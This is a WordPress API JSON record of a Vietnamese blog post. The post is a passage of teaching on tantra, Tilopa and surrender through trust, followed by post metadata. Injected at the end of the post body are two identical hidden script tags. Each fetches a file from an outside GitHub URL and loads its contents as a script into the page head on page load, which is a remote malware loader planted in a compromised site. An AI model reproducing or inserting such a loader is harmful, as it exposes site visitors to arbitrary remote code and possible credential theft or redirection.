\u0111\u1ed9ng c\u00f9ng \u0111\u1ea1i d\u01b0\u01a1ng &#8211; \u0111\u00f3 l\u00e0 \u0110\u1ea1i th\u1ee7 \u1ea5n. \u0110\u00f3 l\u00e0 c\u1ef1c th\u00edch chung cu\u1ed9c, tr\u1ea1ng th\u00e1i ph\u00fac l\u1ea1c nh\u1ea5t c\u1ee7a t\u00e2m th\u1ee9c m\u00e0 l\u00e0 c\u00f3 th\u1ec3.<\/p>\n<p>\u0110i\u1ec1u n\u00e0y gi\u1ed1ng nh\u01b0 hai ng\u01b0\u1eddi y\u00eau \u0111ang l\u00e0m t\u00ecnh, nh\u01b0ng g\u1ea5p h\u00e0ng tri\u1ec7u l\u1ea7n, v\u00e0 c\u0169ng hi\u1ec7n t\u01b0\u1ee3ng n\u00e0y \u0111\u01b0\u1ee3c nh\u00e2n l\u00ean h\u00e0ng tri\u1ec7u l\u1ea7n &#8211; v\u00ec b\u00e2y gi\u1edd b\u1ea1n \u0111ang l\u00e0m t\u00ecnh v\u1edbi to\u00e0n th\u1ec3 v\u0169 tr\u1ee5. \u0110\u00f3 l\u00e0 l\u00ed do t\u1ea1i sao tantra \u0111\u01b0\u1ee3c bi\u1ebft nh\u01b0 yoga c\u1ee7a d\u1ee5c; tantra \u0111\u01b0\u1ee3c bi\u1ebft nh\u01b0 con \u0111\u01b0\u1eddng c\u1ee7a y\u00eau.<\/p>\n<p><em>Trong \u0110\u1ea1i th\u1ee7 \u1ea5n m\u1ecdi t\u1ed9i c\u1ee7a ng\u01b0\u1eddi ta b\u1ecb thi\u00eau ch\u00e1y: trong \u0110\u1ea1i th\u1ee7 \u1ea5n ng\u01b0\u1eddi ta \u0111\u01b0\u1ee3c th\u1ea3 ra kh\u1ecfi nh\u00e0 t\u00f9 c\u1ee7a th\u1ebf gi\u1edbi n\u00e0y. \u0110\u00e2y l\u00e0 chi\u1ebfc \u0111u\u1ed1c t\u1ed1i th\u01b0\u1ee3ng c\u1ee7a ph\u00e1p. Nh\u1eefng ng\u01b0\u1eddi kh\u00f4ng tin v\u00e0o n\u00f3 l\u00e0 ng\u01b0\u1eddi ngu, ng\u01b0\u1eddi bao gi\u1edd c\u0169ng \u0111\u1eafm m\u00ecnh trong kh v\u00e0 bu\u1ed3n.<\/em><\/p>\n<p>V\u00e0 Tilopa l\u00e0 ho\u00e0n to\u00e0n r\u00f5 r\u00e0ng. \u00d4ng \u1ea5y l\u00e0 tuy\u1ec7t \u0111\u1ed1i th\u1eb3ng th\u1eafn. \u00d4ng \u1ea5y n\u00f3i, &#8220;Nh\u1eefng ng\u01b0\u1eddi kh\u00f4ng tin \u0111i\u1ec1u \u0111\u00f3 l\u00e0 ng\u01b0\u1eddi ngu.&#8221;<\/p>\n<p>T\u1ea1i sao g\u1ecdi h\u1ecd l\u00e0 ng\u01b0\u1eddi ngu? \u00d4ng \u1ea5y kh\u00f4ng g\u1ecdi h\u1ecd l\u00e0 k\u1ebb t\u1ed9i l\u1ed7i, \u00f4ng \u1ea5y kh\u00f4ng g\u1ecdi h\u1ecd l\u00e0 phi t\u00f4n gi\u00e1o, \u00f4ng \u1ea5y \u0111\u01a1n gi\u1ea3n g\u1ecdi h\u1ecd l\u00e0 ng\u01b0\u1eddi ngu &#8211; v\u00ec kh\u00f4ng tin v\u00e0o \u0111i\u1ec1u \u0111\u00f3 h\u1ecd \u0111ang b\u1ecf l\u1ee1 ph\u00fac l\u1ea1c l\u1edbn nh\u1ea5t m\u00e0 s\u1ef1 s\u1ed1ng c\u00f3 th\u1ec3 cho h\u1ecd. H\u1ecd \u0111\u01a1n gi\u1ea3n l\u00e0 ng\u01b0\u1eddi ngu! V\u00e0 \u0111i\u1ec1u \u0111\u00f3 kh\u00f4ng th\u1ec3 x\u1ea3y ra ch\u1eebng n\u00e0o b\u1ea1n ch\u01b0a tin c\u1eady. Ch\u1eebng n\u00e0o b\u1ea1n ch\u01b0a tin c\u1eady nhi\u1ec1u t\u1edbi m\u1ee9c b\u1ea1n c\u00f3 th\u1ec3 bu\u00f4ng xu\u00f4i ho\u00e0n to\u00e0n, n\u00f3 kh\u00f4ng th\u1ec3 x\u1ea3y ra. M\u1ecdi ph\u00fac l\u1ea1c, m\u1ecdi kho\u1ea3nh kh\u1eafc c\u1ee7a ph\u00fac l\u1ea1c, ch\u1ec9 x\u1ea3y ra khi b\u1ea1n bu\u00f4ng xu\u00f4i. Ngay c\u1ea3 ch\u1ebft c\u0169ng tr\u1edf n\u00ean \u0111\u1eb9p n\u1ebfu b\u1ea1n c\u00f3 th\u1ec3 bu\u00f4ng xu\u00f4i theo n\u00f3, th\u1ebf th\u00ec n\u00f3i g\u00ec v\u1ec1 s\u1ed1ng? N\u1ebfu b\u1ea1n bu\u00f4ng xu\u00f4i, t\u1ea5t nhi\u00ean, s\u1ef1 s\u1ed1ng l\u00e0 ph\u00fac l\u00e0nh l\u1edbn nh\u1ea5t, n\u00f3 l\u00e0 ph\u00fac l\u00e0nh. B\u1ea1n \u0111ang b\u1ecf l\u1ee1 m\u00f3n qu\u00e0 t\u1ed1i th\u01b0\u1ee3ng v\u00ec b\u1ea1n kh\u00f4ng th\u1ec3 tin c\u1eady.<\/p>\n<p>N\u1ebfu b\u1ea1n mu\u1ed1n h\u1ecdc b\u1ea5t k\u00ec c\u00e1i g\u00ec, h\u1ecdc tin c\u1eady \u0111i &#8211; kh\u00f4ng c\u00e1i g\u00ec kh\u00e1c \u0111\u01b0\u1ee3c c\u1ea7n. N\u1ebfu b\u1ea1n kh\u1ed5, kh\u00f4ng c\u00e1i g\u00ec kh\u00e1c s\u1ebd gi\u00fap b\u1ea1n &#8211; h\u1ecdc tin c\u1eady \u0111i. N\u1ebfu b\u1ea1n kh\u00f4ng c\u1ea3m th\u1ea5y b\u1ea5t k\u00ec ngh\u0129a n\u00e0o trong cu\u1ed9c s\u1ed1ng v\u00e0 b\u1ea1n c\u1ea3m th\u1ea5y v\u00f4 ngh\u0129a, kh\u00f4ng c\u00e1i g\u00ec s\u1ebd gi\u00fap &#8211; h\u1ecdc tin c\u1eady \u0111i. Tin c\u1eady cho ngh\u0129a v\u00ec tin c\u1eady l\u00e0m b\u1ea1n c\u00f3 n\u0103ng l\u1ef1c cho ph\u00e9p c\u00e1i to\u00e0n th\u1ec3 gi\u00e1ng xu\u1ed1ng b\u1ea1n.<\/p>\n<p>T\u1eeb \u201cTantra hi\u1ec3u bi\u1ebft t\u1ed1i cao\u201d, Ch.6 Gi\u00e1o hu\u1ea5n v\u0129 \u0111\u1ea1i<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tantra d\u00e0nh cho m\u1ecdi ng\u01b0\u1eddi. N\u00f3 kh\u00f4ng d\u00e0nh cho v\u00e0i ng\u01b0\u1eddi \u0111\u01b0\u1ee3c ch\u1ecdn. N\u00f3 tr\u1edf th\u00e0nh con \u0111\u01b0\u1eddng cho v\u00e0i ng\u01b0\u1eddi \u0111\u01b0\u1ee3c ch\u1ecdn v\u00ec m\u1ecdi &hellip; <\/p>\n","protected":false},"author":3,"featured_media":4176,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[79],"tags":[],"class_list":["post-4170","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tantra"],"_links":{"self":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/4170","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4170"}],"version-history":[{"count":4,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/4170\/revisions"}],"predecessor-version":[{"id":4640,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/4170\/revisions\/4640"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/media\/4176"}],"wp:attachment":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4170"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4170"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4170"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}